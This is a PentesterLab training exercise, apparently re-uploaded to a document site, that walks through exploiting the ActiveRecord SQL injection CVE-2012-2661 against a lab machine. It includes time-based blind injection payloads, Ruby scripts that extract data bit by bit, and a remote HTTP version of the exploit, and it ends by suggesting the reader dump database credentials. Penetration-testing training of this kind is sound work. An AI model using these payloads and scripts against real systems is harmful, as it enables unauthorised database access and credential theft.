cve-2012-2661: activerecord sql injection

29
CVE-2012-2661: ACTIVERECORD SQL INJECTION By Louis Nyffenegger <[email protected]>

Upload: badbit

Post on 21-Oct-2015

36 views

Category:

Documents


0 download

DESCRIPTION

This exercise explains how you can exploit CVE-2012-2661 to retrieve information from a database.

TRANSCRIPT

CVE-2012-2661: ACTIVERECORD SQLINJECTION

By Louis Nyffenegger <[email protected]>

245556888

10101113162429

Table of Content

Table of ContentIntroductionAbout this exercise

Syntax of this courseLicenseThe web application

Some detailsTimelineThe bug

Exploiting the bug locallyMethodologyPoking aroundGenerating two statesAutomation

Exploiting the bug remotelyConclusion

2/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

3/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

Introduction

This course details the exploitation of the ActiveRecord SQL injection bug (CVE-2012-2661) and how an attacker can dump information from the database using this issue.This vulnerability is hard to exploit and we will see how it can be done. More than justan how to use the exploit, this exercise should be seen as a general way to approacha vulnerability and to get from a bug to an exploit.

4/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

About this exercise

Syntax of this courseThe red boxes provide information on mistakes/issues that are likely to happen whiletesting:

An issue that you may encounter...An issue that you may encounter...

The green boxes provide tips and information if you want to go further.

You should probably check...You should probably check...

License

5/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

This exercise by PentesterLab is licensed under the Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License. To view a copy of this license, visithttp://creativecommons.org/licenses/by-nc-nd/3.0/.

The web applicationOnce the system has booted, you can then retrieve the current IP address of thesystem using the command ifconfig:

$ ifconfig eth0eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:88 errors:0 dropped:0 overruns:0 frame:0 TX packets:77 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:10300 (10.0 KiB) TX bytes:10243 (10.0 KiB) Interrupt:11 Base address:0x8000

6/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

In this example the IP address is 10.0.2.15.

Throughout the training, the hostname vulnerable is used for the vulnerable machine,you can either replace it by the IP address of the machine, or you can just add anentry to your host file with this name and the corresponding IP address. It can beeasily done by modifying:

on Windows, your C:\Windows\System32\Drivers\etc\hosts file;

on Unix/Linux and Mac OS X, your /etc/hosts file.

The IP address can change if you restart the system, don'tThe IP address can change if you restart the system, don'tforget to update your hosts file.forget to update your hosts file.

7/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

Some details

TimelineThis bug was initially discovered by Ben Murphy and reported Aaron Patterson on thegoogle group Ruby on Rails: Security (you probably want to follow this mailing list ifyou have Ruby On Rails applications) on the first of June 2012.

The bugThe bug comes from an error on how ActiveRecord handles parameter. Where thenormal usage of ActiveRecord looks like:

8/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

> User.where(:id => 1).all => [#<User id: 1, login: "admin", password: "8efe310f9ab3efeae8d410a8e0166eb2", email: "admin@", info: "wrong email address">]

It's possible to change ActiveRecord behavior by providing malicious parameters:

> User.where(:id => {:id => 1}).allActiveRecord::StatementInvalid: Mysql2::Error: Unknown column 'id.id' in 'where clause': SELECT `users`.* FROM `users` WHERE `id`.`id` = 1

The code above is harmless but it's possible to build a custom hash that will allow usto dump information from the database and we will see how we can do it.

9/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

Exploiting the bug locally

MethodologyThis bug is pretty hard to understand and to exploit, so instead of working on itremotely (over HTTP), we are going to work on it locally and then "translate" ourexploit in HTTP. That way, we are going to avoid any mistakes of encoding and greatlyincrease our productivity

Working on a local exploit and then using it on an HTTP serverWorking on a local exploit and then using it on an HTTP serveris a good way to have full access to the debug information andis a good way to have full access to the debug information and

speed up development.speed up development.

To start working, we need an example of a vulnerable code (this code is present in theshell.rb file in the home of the default user:

10/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

# Include the vulnerable libraryrequire 'active_record'

# Connect to the database

ActiveRecord::Base.establish_connection( :adapter => "mysql2", :host => "localhost", :username => "pentesterlab", :password => "pentesterlab", :database => "pentesterlab" )

# Create a dummy class to map the users' tableclass User < ActiveRecord::Baseend

# Start a Ruby shellrequire 'irb'IRB.start()

Poking aroundIf we start pocking around, we can understand what happens with our parameter:

a normal call looks like this:

11/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

> User.where(:id =>1).all=> [#<User id: 1, login: "admin", password: "8efe310f9ab3efeae8d410a8e0166eb2", email: "admin@", info: "wrong email address">]

we can this that the following code return the same thing (since usersis the table name):

> User.where(:id => {'users.id' => 1} ).all=> [#<User id: 1, login: "admin", password: "8efe310f9ab3efeae8d410a8e0166eb2", email: "admin@", info: "wrong email address">]

The main problem is that everything seems to be correctly encoded and handled:

12/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

Code SQL in the errormessage Comments

User.where(:id=> {'users .id' =>1} ).all

SELECT `users`.*FROM `users` WHERE`users `.`id` = 1

We can see that the ' ' is copied in the SQL statement

User.where(:id=> {'users`.id' =>1} ).all

SELECT `users`.*FROM `users` WHERE`users```.`id` = 1

The back tick is replaced by three back ticks, we can't break out of the query usingthis.

User.where(:id=> {'users.id`' =>1} ).all

SELECT `users`.*FROM `users` WHERE`users`.`id``` = 1

The back tick is replaced by three back ticks, we can't break out of the query usingthis.

User.where(:id=> {'users.id' =>{1 => 1}} ).all

SHOW TABLES INusers LIKE 'id'

We can see that the query in the error message is completely different and we get thefollowing error: "Access denied for user 'pentesterlab'@'localhost'", w

User.where(:id=> {'test ; -- .id'=> {1 => 1}} ).all

SELECT `users`.*FROM `users` WHERE`test ; -- `.`id`.`1` = 1

By using a default Mysql database and by commenting out the end of the statement,the first request works properly. We now have an error in the second request, so weknow that we can inject in the first request.

Now, we know how to send a correct statement and inject in the first requestperformed.

Generating two statesWe now need to retrieve information, to do that we first need to read the MySQLdocumentation for the 'SHOW TABLES' statement. We can see that MySQL acceptsthe following syntax:

13/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

SHOW [FULL] TABLES [{FROM | IN} db_name] [LIKE 'pattern' | WHERE expr]

According to the documentation, we can run statements like:

SHOW TABLES FROM information_schema where [conditions]

But, the only thing we will see is an error message, so we will need to use time-basedSQL injection. We are going to use the function sleep to slow down the response. Sofor example, we are going to slow down the response, if and only if the return value isfalse:

SHOW TABLES FROM information_schema where [return value] or sleep(1)

In the example above, 2 things can happen:

if [return value] is true, the statement or sleep(1) will not be ranbecause MySQL knows that true or true is always true, so MySQL willoptimise it and return true without running sleep(1)

if [return value] is false, the statement or sleep(1) will be ranbecause MySQL needs to know the return value of this statement toknow if false or [something] is true. As a consequence, the responseto this query will be slow down.

We have now two different responses based on our injection:

14/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

a slow response when the condition is false;

a normal response when the condition is true.

If we put this request back in our Ruby shell, we can see that the following code willtake longer to run:

> User.where(:id => {'information_schema where (select 0) or sleep(1) ; -- .user' => {'id' => '1'}}).all

than this code:

> User.where(:id => {'information_schema where (select 1) or sleep(1) ; -- .user' => {'id' => '1'}}).all

The difference between these two requests is the select 0 (for false) and select 1(for true).

One of the thing you need to remember during the testing is that ActiveRecord cachesand won't run two times the statement used to get information about a table. We needto make sure every request is unique. To do that there it is possible to put a randomnumber of spaces inside the request however randomness doesn't imply uniqueness.A better solution is to use the current time to make sure of the uniqueness of therequest. We can add this value in a SQL comment to make sure it won't change thesyntax of our SQL statement:

15/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

> User.where(:id => {'information_schema where (select 0) or sleep(1/10) /*'+Time.now.to_f.to_s+'*/; -- .user' => {'id' => '1'}}).all

The /*'+Time.now.to_f.to_s+'*/ is used here to dynamically inject the time inside aSQL comment. This will prevent any caching done by ActiveRecord.

You can now happily run two times the same request and get the expected result: theslow request stays slow.

AutomationWe will now automate the local exploitation, to do that we will create a function testthat will return true or false based on how long the request takes. Since we don't wantthe script to crash, we need to catch the exception create by ActiveRecord:

def test(sql) begin t = Time.now User.where(:id => {'information_schema where ('+sql+') or sleep(1/10) /*'+Time.now.to_f.to_s+'*/; -- .user' => {'id' => '1'}}).all

rescue ActiveRecord::StatementInvalid return Time.now - t < 1 endend

16/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

Now that we have this function written, we can test it using select 0 and select 1 tomake sure everything is working smoothly:

puts "test('select 0') returns #{test('select 0')}"puts "test('select 1') returns #{test('select 1')}"

Now, we are back to the exploitation of a traditional blind SQL injection, we have 2states (true and false) and based on this, we are going to retrieve information.

Here we want to retrieve the version of the database select @@version. To do this,we will need to dump each byte of the each character of the result of the query select @@version.

Let say that the version is 5.0.4, we will need to select all characters of this string,one after each other using the SQL function substring.

Statement Result

`substring('5.0.4',1,1)` `5`

`substring('5.0.4',2,1)` `.`

`substring('5.0.4',3,1)` `0`

`substring('5.0.4',1,3)` `5.0`

17/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

Since we know how to extract each letter (byte), we will now need to extract each bitof each byte. Let see how we can do that with the value 5. First we need to get theASCII value of 5 using the MySQL function ascii:

mysql> SELECT ascii('5');+----------+| ascii(5) |+----------+| 53 |+----------+

Now we need to retrieve each bit of this value 53 can be represented by the binaryvalue 00110101. We will now use bit masking to isolate each bit from the others. Afterisolating and retrieving each bit, we will be able to rebuild the value on the attackerside.

First, let's remember how & works:

& 0 1

0 0 0

1 0 1

We will use these properties to isolate each bit of information.

We can isolate the first bit by using &1:

18/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

The returned value for the first bit is 1. This value will generate a true state and theresponse will be quick.

The & is used for the masking and 1 is used to select the first bit. As a side note: 2 0̂is equal to 1.

We can then move to the second bit by using &2 (2 1̂ is equal to 2):

19/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

The returned value for the second bit is 0, the 0 will generate a false state and theresponse will be delayed.

And we can keep going and get the third bit using &4 (2 2̂ is equal to 4):

20/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

The returned value for the first bit is 4. The value 4 will generate a true state and theresponse will be quick.

And we can keep going to dump all the bits of the first letter. For each bit, you will needto add the value to a variable that will contain the letter you want after you retrieved allthe bits.

Now we can put everything together in 2 loops, one for each character and one foreach bit of the current character:

21/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

inj = "select @@version"str = ""

# dummy initialisation for the while loopvalue = 1i = 0

# we loop until the returned value is nullwhile value != 0 # i is the position in the string i+=1 # initialise to 0 the value we are trying to retrieve value = 0 # for each bit 0.upto(6) do |bit| # 2**bit is 2^bit and will do all the bit masking work sql = "select ascii(substring((#{inj}),#{i},1))&#{2**bit}" if test(sql) # if the returned value is true # we add the mask to the current_value value+=2**bit end end # value is an ascii value, we get the corresponding character # using the `.chr` ruby function str+= value.chr puts strend

22/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

23/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

Exploiting the bug remotely

Now that we have a script working locally, we can "translate" it to HTTP and make aversion that works against a remote server.

To do that, we will need to encode our payload to make sure that what we are sendingis correct.

First, we need to encode the hash to make sure the application correctly receive it.The current URI looks like: ?id=1 and the back-end is receiving the value id as aString.

We need id to be a hash, to do that we will use the following URL encoding id[]=value. But even more we need id to be a hash containing another hash, we willhave to use id[][]=value

For example, if we want to send the following {'a' => {'b' => 'c'}} as a parameternamed id, we will need to access a URL with the parameter id[a][b]=c.

24/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

Now we need to translate our full payload to HTTP, as a reminder the original slowquery looks like:

:id => {'information_schema where (select 0) or sleep(1/10) /*1338976181.408279*/ ; -- .user' => {'id' => '1'}}

We can translate it to the following HTTP parameter:

id[information_schema%20where%20+(select+0)+or+sleep(1)%20/*1338976181408279*/%3b%20--%20.user][1]=1

Now we need to encode all the specials characters:

';' needs to be encoded, we can use '%3b';

'&' needs to be encoded, we can use '%26';

'=' needs to be encoded, we can use '%3d';

' ' needs to be encoded, we can use '+' or '%20'.

When doing the move to HTTP, if you don't get the expectedWhen doing the move to HTTP, if you don't get the expectedresults, there is a huge chance that you didn't encodedresults, there is a huge chance that you didn't encoded

something correctly.something correctly.

To perform all this changes, we just need to modify the test function to add the HTTPcomponent:

25/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

26/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

require 'net/http'def test(sql) begin

t = Time.now # encoding of the hash inj = "?id[information_schema%20where%20+("

# modifying the sql statement to remove encoded special characters

inj += sql.gsub(' ','+').gsub('&', "%26").gsub('=','%3d')

# adding the magic sleep statement inj += ")+or+sleep(1/10)%20"

# make sure ';' is encoded to %3b inj += "/*"+Time.now.to_f.to_s.gsub('.','')+"*/%3b%20--%20.user][1]=1"

# all the HTTP related code: create the URL and do the request uri = URI.parse("http://vulnerable/"+inj)

http = Net::HTTP.new(uri.host, uri.port) begin response = http.request(Net::HTTP::Get.new(uri.request_uri)) response = Net::HTTP.get_response(uri)

# rescue in case of error # likely to happen with time based exploitation rescue Errno::ECONNRESET, EOFError

27/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

end

# we return the time taken by the request

return Time.now - t < 1 endend

If you're testing it on a website on Internet, you will probably need to adjust the line return Time.now - t < 1 to reflect the network latency.

28/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection

Conclusion

This exercise showed you how to exploit the bug ActiveRecord SQL Injection (akaCVE-2012-2661). I hope the course provides you with more details on how thisvulnerability works and how you can get a working exploit. You can use Talkback toget updates on the vulnerability: http://talkback.volvent.org/cgi-bin/view_vuln.cgi?id=CVE-2012-2661. To go further, you can start dumping the credentials available inthe database.

29/29

PentesterLab.com » CVE-2012-2661: ActiveRecord SQL Injection